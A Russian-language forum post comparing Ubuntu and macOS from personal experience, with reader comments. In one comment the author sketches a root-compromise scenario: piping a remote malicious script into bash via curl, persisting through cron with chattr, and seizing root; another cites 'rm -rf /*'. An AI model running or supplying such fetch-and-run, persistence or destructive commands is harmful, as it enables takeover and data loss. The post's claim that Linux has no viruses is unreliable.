Mac OS vs Ubuntu

Как я говорил ранее, я приобрел устройство с Mac OS на борту. До этого я использовал Ubuntu как основную ОС более 6-ти лет, и мне хотелось бы сделать сравнение данных операционных систем, так как обычно сравнивают Mac OS с Windows (что в принципе не удивительно) а сравнений с Ubuntu я еще не встречал.


Сравнение буду проводить Ubuntu Desktop 19.04 (естественно не серверный вариант, GNOME - DE) и Mac OS Catalina, сравнение будет проводится относительно моего впечатления =)


Для начала про Ubuntu:

Не смотря на то, что раньше этой системой рядовому пользователю не возможно было пользоваться, сейчас она очень эволюционировала, сообщество делает все возможное что бы

Ubuntu (что переводится как человечность) стала более человечной. Я более чем уверен, что если бы в нее вкладывали сколько финансовых ресурсов, сколько вкладывает в свои системы Apple и Microsoft, Ubuntu и была бы новой революцией (Да простят меня владельцы не Debian подобных дистрибутивов😁).


Ubuntu как и другие Linux подобные дистрибутивы, имеет ряд прикольных штук, которые меня заставили забыть о Windows и никогда больше на нее не возвращаться как на основную ОС, о них ниже:


1 - Терминал, это то что меня первое время пугало, но это на текущий момент я понимаю, что для меня это один из лучших вариантов управления системой, первое что я делаю когда включаю систему на Ubuntu нажимаю Ctrl+Alt+T и все, я дома 😁


2 - Интерфейс, он не идеален, не самый быстрый, но когда я его увидел, в моей голове прозвучала одна фраза - "это что-то новое", он не похож на то что вы видели раньше, и при этом он может быть таким, каким хотите видеть его вы. GNOME (одно из многочисленных графических окружений в Linux) очень гибкий, и сделать из него не зная программирования можно все что угодно. Интерфейс Ubuntu это рай для визуальных экспериментов, и сообщество с каждым днем делает шаги в сторону обеспечения стабильности работы интерфейса, даже после ваших экспериментов.


3 - Стабильность системы, не смотря на то что Ubuntu по сравнению с другими дистрибутивами одна из самых НЕ стабильных Linux дистрибутивов, относительно Windows она не убиваемая (если конечно же вы не убиваете ее сознательно), что бы вы понимали на пк моих родителей, Ubuntu установлена с 2014-года, работает до сих пор, и уже обновлена до последней LTS версии встроенными средствами по обновлению, при этом мой отец не использует Терминал, и графическое окружение его ни как не пугает=)


4 - Отсутсвие вирусов, их нет, и это факт. Но как и много программ из Windows имеют аналоги для мира Linux, так и аналоги Windows вирусов для Linux подобных дистрибутивов это - уязвимости. Сам по себе Linux как ядро, очень защищенный, и даже десктопные версии системы не создадут вам проблем с безопасностью. Но, как все знают, основная уязвимость находится между креслом и монитором и тут самое интересное. Помните историю про троянского коня? так же и в Linux системах, часто даже на серверах можно встретить ПО, которое запущено от root, и сисадмины игнорируют тот факт, что если то ПО имеет уязвимость которая позволяет получить доступ к файловой системе, доступ будет получен от root, что не есть хорошо. Приведу аналогию:

У вас очень защищенный частный дом, охрана, камеры, сигнализация, казалось бы что может создать проблемы? домработница у которой есть ключи и которая вас грабанула поделившись с охраной и свалила в закат.


5 - Ubuntu на текущий момент ставится почти везде, вы даже можете установить ее на флешку и загружаться с нее с любого современного и распространенного железа (да, с экзотикой в Linux системах не все так радужно)


Это далеко не все, я думаю что это не последняя статья на эту тему. Я считаю что это идеальная система как для экспериментаторов, так и тем, кому от системы нужен только браузер и текстовый редактор, так же система зайдет программистам (особенно начинающим, навыки работы с Linux не будут лишними)


А вот и Mac OS:

Активно пользуюсь ей всего месяц, но есть уже то, что хотел бы написать.


Вообще прародителем обоих систем является Unix, у них похожая файловая система, bash, и все такое - и так что как бы это крипово не звучало, лично для меня Mac OS это Ubuntu на максималках, и я думаю что если вкладывать ресурсы в Ubuntu, она будет именно на ровне с Mac OS и может даже больше, но увы, это всего задротские мечты😁


1 - Стабильность, она топ, и при условии что не делать в системах экспериментов и просто работать, то не могу сказать что Mac os стабильней Ubuntu или Ubuntu сильно стабильней Mac OS, ни там ни там я зависаний вообще не вижу, да - на мак ос немного подлагивал тачабар, но после нового апдейта я пока не вижу этой проблемы, именно в плане зависаний, у меня не виснет ни то ни то. Правда стоит отметить, что в силу политики Apple и того, что Mac OS работает на родном железе, у вас никогда не будет проблем с переустановкой системы, при том что в Ubuntu такое бывает =) (правда не у меня, я походу "выживший")


2 - Интерфейс, мне он очень похож на линуксовые системы, но лучше 😁, мне даже нравится на него смотреть, он простой и не имеет ничего лишнего.


3 -  Вирусы, ситуация очень похожа на Ubuntu, я бы сказал она идентичная (правда где то я слышал о каких то вирусах, но в глаза не видел)


4 - Терминал, он по удобству не хуже линуксового, и я тоже им постоянно пользуюсь (по привычке)


5 - Это очень юзер френдли система, не могу сказать что очень гибкая, но как по мне по качеству все же лучше Ubuntu.


6 - Поддерживает Майкрософт Офис, а вот это жирный плюс. Кроме этого много по для монтажа и фото обработки


Пока это все, но думаю еще будет =)

Система подойдет всем у кого есть на нее деньги и тем, кто не играет в игры.


Вывод:

Обе системы имеют одного предка, Ubuntu имеет какие то детские болячки, но стремится к развитию, Mac OS это сформировавшийся богатый дядя Ubuntu, который имеет престижную работу и доход, который помогает ему развиваться быстрее и иметь более качественную жизнь(так себе аналогия, но я пытался😁)



Скрины систем: (скрины ubuntu из гугла)

2
Автор поста оценил этот комментарий

Мне обзор понравился! Спасибо, за мнение! Выкладывай ещё. Интересно больше деталей: может какие технического фишки, например, с какой системой лучше прототипировать приложения, сервера и пр., но с реальными обоснованием.

раскрыть ветку (1)
2
DELETED
Автор поста оценил этот комментарий

Хорошо, спасибо.

DELETED
Автор поста оценил этот комментарий

С виндой проблем еще меньше сейчас, у меня десятка, которая получилась путём апгрейда с семерки, которую я поставил в 2011 году, т.е. по факту у меня система работает почти десять лет, и это при том, что железо у меня менялось три раза, причем с амд на интел был переход. Ни макось ни линупс не имеют сейчас никаких преимуществ, одни только минусы.

раскрыть ветку (1)
2
DELETED
Автор поста оценил этот комментарий

Ровно пол года назад видовс 10 моей девушки начал обновляться и после этого не врубился, спасла переустановка.

показать ответы
DELETED
Автор поста оценил этот комментарий

еще один мамкин школьник, решил сравнить не сравнимые вещи :)
ты еще сравни мерседес бизнес класса с каким-нибудь тоета аллион.

раскрыть ветку (1)
2
DELETED
Автор поста оценил этот комментарий

приобрету тоету аллион и сравню

0
Автор поста оценил этот комментарий
Там каждое обновление как русская рулетка))) причем шансов что не включится раз так в 5 больше))) я как то с утра перед началом рабочего дня увидел что она сама начала обновление а я не нажал отмена. Увидел с ужасом. Потому что следующие два дня я вначале ебался чтоб заставить ее включаться а потом плюнул и ебался с установкой всего нужного софта. Да пошла эта убунту нахуй
раскрыть ветку (1)
1
DELETED
Автор поста оценил этот комментарий

Сама обновляться? что то ты странное говоришь...

показать ответы
0
Автор поста оценил этот комментарий

я как то игрался с интерфейсом  убунты,  запилил так что с первого взгляда выглядела как мак ось)))

раскрыть ветку (1)
1
DELETED
Автор поста оценил этот комментарий

тоже так делал)))

1
Автор поста оценил этот комментарий

По работе приходится юзать винду, потому что на линуксе нет аналога той программы, в которой работаю.  Хотя лично я оченб люблю линукс! Дома пк и ноут работают на 1 на убунту, 2 на кде манжаро. Линукс - лучшая из всего по!

раскрыть ветку (1)
1
DELETED
Автор поста оценил этот комментарий

Частая ситуация когда нет ПО на линукс. но она уже немного лучше чем раньше

0
Автор поста оценил этот комментарий

Добавлю:

На правильно сконфигуртрованную винду тоже хрен что просто так пролезет.

Кстати, я могу немного неправильно выражаться по поводу Администратора и Суперюзера винды, я в них не сказать, что разбираюсь хорошо, так как выше администратора никогда не сидел и не знаю в чем отличия

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

Я думаю что все же пролезешь, Windows никогда не позиционировала себя как безопасная система.

показать ответы
0
Автор поста оценил этот комментарий

Дизайнер чего? Одежды, интерьеров, зданий, автомобилей? Дизайнер понятие весьма растяжимое, как и инженер. Если веб-дизайнер, то там вполне можно без фотошопа обойтись а вот без линукса уже гораздо сложнее.

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

Вы хотите меня переубедить в том что Adobe PS никому не нужен или что? я так и не понял вашей мотивации

0
Автор поста оценил этот комментарий

не пофиксили =(

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

а что за лаги то? ато аж интересно стало

0
Автор поста оценил этот комментарий

Ну что могу сказать,  Ubuntu клевая ось, мне тоже понравилась, но у АПЛ есть жирный плюс, это экосистема, ойфоне, часы, уши, ноут, имак, АПЛ ТВ, работает просто шикарно.  Дома виндовс, наверное если бы не игрушки в которых иногда люблю поиграть, уже бы давно перешёл на убунту или купил имак домой) спасибо за статью, хочется иногда поюзать убунту, была бы полная поддержка приложений виндовских, поставил не задумываясь, но рынок диктует развитие, сейчас у 85% пользователей - Windows, если не больше

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

да, и как то даже даль что ли....хотелось бы увидеть бунту не только у себя дома)

0
Автор поста оценил этот комментарий

А зачем мак покупать, я на свой комп так просто на второй ссд мак установил (хакинтош), все тоже самое и без затрат)) если железо конечно подходящее

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

хотелось попробовать мак ос на родном железе, хакинтош тоже как то тыкал палочкой)

0
Автор поста оценил этот комментарий

Была мысль написать аналогичный пост, но в итоге решил, что пост будет ни о чём. Пожалуй, я не ошибся и не зря не стал писать.


// дома 2 девайса на Mac OS, остальные на Ubuntu, Manjaro, ArchLinux

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

добавь в коробку еще Gentoo)))

показать ответы
0
Автор поста оценил этот комментарий
С докером работаешь? Тормоза пофиксили в маке с ним?
раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

с докером работаю, но для этого у меня есть тестовый сервер, по этому нет смысла запускать его на маке...для меня по крайней мере.

2
DELETED
Автор поста оценил этот комментарий

WSL единственный wine который нормально работает. 😋

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

о да, wine в списке того чего не стоит устанавливать вообще, штука которая несет в себе страдания и дыры в безопасности системы,

2
Автор поста оценил этот комментарий
а на винде есть какие-то вирусы, которые работают без предварительного согласия на предупреждение UAC?

если вашей логикой руководствоваться, вирусы закончились на Windows XP
раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

есть такие вирусы, UAC это вообще штука работающая так себе, по крайней мере игрался с этой штукой в Win 7. Был вирус когда-то, делал следующее:

Флешка, на ней ауторан скрипт, который запускал какой то бинарь, бинарь селился в системе и в итоге на всех следующих флешках каталоги и файлы заменялись ярлыками на бинарь вируса который копировался предварительно на флешку, при этом после открытия каталога, вирус заражал систему если она еще не заражена и отправлял тебя в желаемый каталог (как то так ... давно это было) и эта штука селилась без любых предупреждений системы безопасности виндовс. У нас в универе более 40 пк были заражены, и удаление этого зловредна ничем не помогало так как обязательно найдется тот, кто втыкнет свою флешку с этим вирусом в комп и снова все по новой.

0
Автор поста оценил этот комментарий
Дипин - хрень китайская, манжаро стабильностью и не славится, и вообще сейчас все лезут в арч, хотя туда можно только очень опытным линуксоидам. Ставь KDE neon.
раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

если уж так, то можно и Gentoo не побрезговать =)

0
Автор поста оценил этот комментарий

на KDE neon будет подсветка клавы работать?

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

Смотря какая Клава

0
Автор поста оценил этот комментарий

Сравните   Centos 8.0 c Ubuntu server

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

окей, возьму на заметку.

0
Автор поста оценил этот комментарий

Все пишут что наличие Фотошопа и мсофиса это прямо охренеть какое преимущество только все забывают сколько все это стоит.

Под linux тоже есть немало коммерческого софта который стоит немало денег, в том числе и для обработки видео. Но его так повально не пиратят как на маке и винде.

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

На линукс нет МС офиса, есть аналог Libre Office or Open Office, но это не совсем то хоть он и поддерживает вин офис документы, я уверен что ubuntu получила бы более широкое распространение если бы она нормально работала с Photoshop и Microsoft Office. Да - я фотошоп заменил gimp, он крутой, но что то дизайнеры не спешат на него переходить=) я думаю причина в монополии продуктов Адобе в том числе в требованиях к работе разных компаниях)

показать ответы
0
Автор поста оценил этот комментарий

А что по вашему значит слово "вирус"?

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

ВИКИ говорит:

Компью́терный ви́рус — вид вредоносного программного обеспечения, способного создавать копии самого себя и внедряться в код других программ, системные области памяти, загрузочные секторы, а также распространять свои копии по разнообразным каналам связи.


Но тут есть один момент, если система Linux сконфигурирована правильно, и конфигурация системы не противоречит стандартам по безопасности, то ни один вирус не запустится в Linux (если конечно же не сделать sudo chmod +x virus && sudo ./virus)


Хотя к примеру в Windows 7 (последняя винда которую я активно использовал) вставив левую флешку в юсб, ты мог превратить свой день в веселый квест =)

показать ответы
0
Автор поста оценил этот комментарий

Знаю :) С дуру можно и груб сломать :)

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

вот вот)

Автор поста оценил этот комментарий

Одна из проблем убунты для простого юзера, это когда ты хочешь подрубить к ней ntsf диск. Ибо без монтирования ты ничего на нем не увидешь. Мак в этом плане проще из коробки без шаманства распознает нтсф

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

Не понял прикола, мне ради этого пришлось софт покупать...

показать ответы
Автор поста оценил этот комментарий

Вопрос ОС это вопрос религии зачастую. У меня у родителей стоит винда 8 , купленная с моноблоком, работает нет проблем. Лицензия на Касперский, вирусов не было до сих пор. Из этого сделать вид что винда неубиваемая?


Вирусы бывают везде. На макось не видел, ибо не пользую. На линуксы видел. Помню году в 2006 через дырку в апаче хрень пролезла и нагенерировала траффика 3 гига по 1,5 руб за Мб. Получил тогда люлей)))


Но вообще каждый выбирает сам

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

Это не вирус, это уязвимость апач, которую эклуатировали в своих нуждах)

показать ответы
0
Автор поста оценил этот комментарий

Автор а ты в курсе что мсофис, Фотошоп, и другое по для обработки фото и видео стоит немало денег и они не идут в комплекте с маком?

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

а я что то говорил о цене? я сравнивал коммерцию и опенсоурс

показать ответы
2
Автор поста оценил этот комментарий
если бы в нее вкладывали сколько финансовых ресурсов, сколько вкладывает в свои системы Apple и Microsoft, Ubuntu и была бы новой революцией

Ага, Canonical же ни цента в неё не вложили.

раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

Суммы там явно меньше

показать ответы
3
Автор поста оценил этот комментарий
Сравнить несравнимое.
Коммерческий юникс
И самописное по, которое написано like unix, но скорее это posix
раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

ну, Windows же сравнивают с Linux? вот и я и попытался...правда пока плохо, но я стремлюсь с самоулучшению

показать ответы
18
Автор поста оценил этот комментарий
Пост то о чем?
раскрыть ветку (1)
0
DELETED
Автор поста оценил этот комментарий

Просто как то не смог держать в себе, и вот меня вырвало в пост..

показать ответы
1
Автор поста оценил этот комментарий
Виндовые обновления не валят систему в отличие от ебучего убунту где так и не научились за 15 лет делать систему которая после очередного апдецта включится.
раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

смешно

показать ответы
1
Автор поста оценил этот комментарий

Не надо CentOS... Нет в ней ничего хорошего, что надо советовать неопытным пользователям (сегодня, буквально, на работе с ней сношались, весь день ковыряли то, что на других дистрибутивах без бубна делается)

раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

на то он и центос)

показать ответы
0
Автор поста оценил этот комментарий
Офф.
МС намерена выпустить версию своего офисного пакета под линь.
Так что и здесь уже особого преимущества макоси не будет.
И да - в макоси довольно старая версия баша (если про терминал говорить).
раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

Это будет очень очень круто, ворд на линухе=)))

0
Уху ел
Автор поста оценил этот комментарий

Такая же хуйня с попыткой подключения линуксового диска к винде. Тоже костылями читал данные

раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

Windows до сих пор не умеет нормально работать с ext файловой системой

0
Автор поста оценил этот комментарий

Ты хоть раз купил этот самый ms office? Вот если реально надо будет покупать то тогда уже задумаешься а нахрена оно надо особенно дома. Так же и с фотошопом в 90% случаев он нахрен не нужен. Помимо gimp есть и другие программы для обработки фото есть и платные типа pixeluvo но стоят они гораздо дешевле Фотошопа.

И дизайнеры это слишком громкое название. У нас большинство фотографов это те кто купил себе бюджетную зеркалку, а большинство дизайнеров это те кто скачал пиратский Фотошоп.

раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

Я не покупал офис так как не пользуюсь, и фотошоп сам по себе мне не очень важен, но есть люди для которых  офис или в фотошоп это рабочий инструмент. Мой брат работает дизайнером, и делает он явно не листовки, основной его инструмент фотошоп, и именно по этой причине он не переходит в сторону Linux подобных систем.

показать ответы
1
Автор поста оценил этот комментарий

Я смотрю у вас ник программерский. Вот скажете мне, положа руку на сердце, что невозможно сделать ПО, которое попиздит какие-то данные с вашей линукс машины?

раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

Возможно все, социальная инженерия + не внимательность конечного пользователя + качественный вредоносный код умеет делать чудеса. Правда у меня зашифрован диск + хомяк, кроме этого я смотрю что запускаю. Это значительно усложнит работу так сказать хакеров. (ну и пароль у меня 8-ми значный сгенерированный)

показать ответы
0
Автор поста оценил этот комментарий

Ну демон то сидел :) Там именно не редиректило :)

раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

По факту если к примеру есть какая то уязвимость позволяющая удаленно запускать bash код из под рута, то можно сделать следующее:

1 - curl -s ссылка_на_вредносный_баш_скрипт | bash -s --

2 -И по ссылке баш скрипт который делает кучу гадости и ставит себя в крон. При этом делает chattr +a на крон файлик что бы в него нельзя было писать, добавляет в крон тот курл что бы  восстанавливать свою работу, и создает своего юзера предоставляя ему рут права забирая рут у всех остальных. Это делается изи.

После выполнения этого от рута, линукс не твой уже=) НО, это не проблема линукс, это проблема софта который запущен с определенными правами, пользователя который это допутил, и программиста который накосячил к коде. От этого не защититься никак, разве что SELinux использовать, и то, если ты сам и намеренно даже не подозревая что делаешь,  разрешишь запускать вредоносный код, ничто тебя не спасет, линукс это система которая делает все что ты ему скажешь, он не будет против если ты захочешь "выстрелить себе в ногу"

показать ответы
0
Автор поста оценил этот комментарий
Про вирусы на лине, что их нет это сказки, да уязвимостей везде хватает. Есть опыт работы и с MacOs и с виндой и с Линем. То, что гном юзабилен....возможно, но хорошо прибит гвоздями к зависимостям. Надо и это учитывать, прежде, чем накатывать любой дист с таким окружением.
раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

я за 6 лет не видел ни одного вируса, есть файлик по тестить? (естественно запусти буду не от рута, ато так любой баш скрипт будет вирусом если в нем rm -rf /*)

показать ответы
0
Автор поста оценил этот комментарий
Win и Lin это принципиально разный подход.
Надо сравнить еще было AIX и убунту.
FreeBSD и убунту и ReactOS и убунту.
раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

а почему бы и нет?)

0
Автор поста оценил этот комментарий
У бунту неуюиваема в отличие от винды. Смешно. Винда самое стабильное из всего упомянутого выше. А убунту - дерьмо для бедняков. Как Серверная ос - норм. Как десктоп - глючная помойка
раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

Вы или троль или очень не адекватная личность, не имеющая ни малейшего понимания что такое операционная система и как она работает.

показать ответы
DELETED
Автор поста оценил этот комментарий

Тоже самое я могу сказать и про линукс. Рынок и люди голосует за вин, всему остальному до него, как раком до Африки. И винда реально лучше всего остального, хуже она была во времена 98.

раскрыть ветку (1)
DELETED
Автор поста оценил этот комментарий

Операционная система это всего лишь инструмент, каждый инструмент имеет свое предназначение и даже виндовс имеет право на жизнь, если взять рынок телефонов, то Windows это как Xiaomi, вроде бы и телефоны их звонят, и владельцы их хвалят, и цена отличная, но когда копнуть глубже, не все так радужно) Unix подобные системы это системы с огромным потенциалом хоть и в силу цены (если брать коммерческий unix) или распространённости в силу отсутствия финансирования в плане рекламы и т д (так же не стоит забывать что к примеру линукс создан как ядро в 1994, это уже задолго после создания виндовс и внедрения его в "рынок" операционных систем), Windows - это система не имеющая такого потенциала, как бы ей не добавляли красивостей, это все тот же MS-DOC с GUI, я не могу представить ситуацию для себя, когда мне понадобится данная операционная система как инструмент. Простите за возможную грубость, но я считаю что Windows это лучший выбор домохозяек, хотя да - признаюсь, иногда ее устанавливаю что бы посмотреть новшества, и стоит согласиться, что внедрение WSL в Windows это лучшее что делала Microsoft cо своей ОС за последние годы.

показать ответы

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества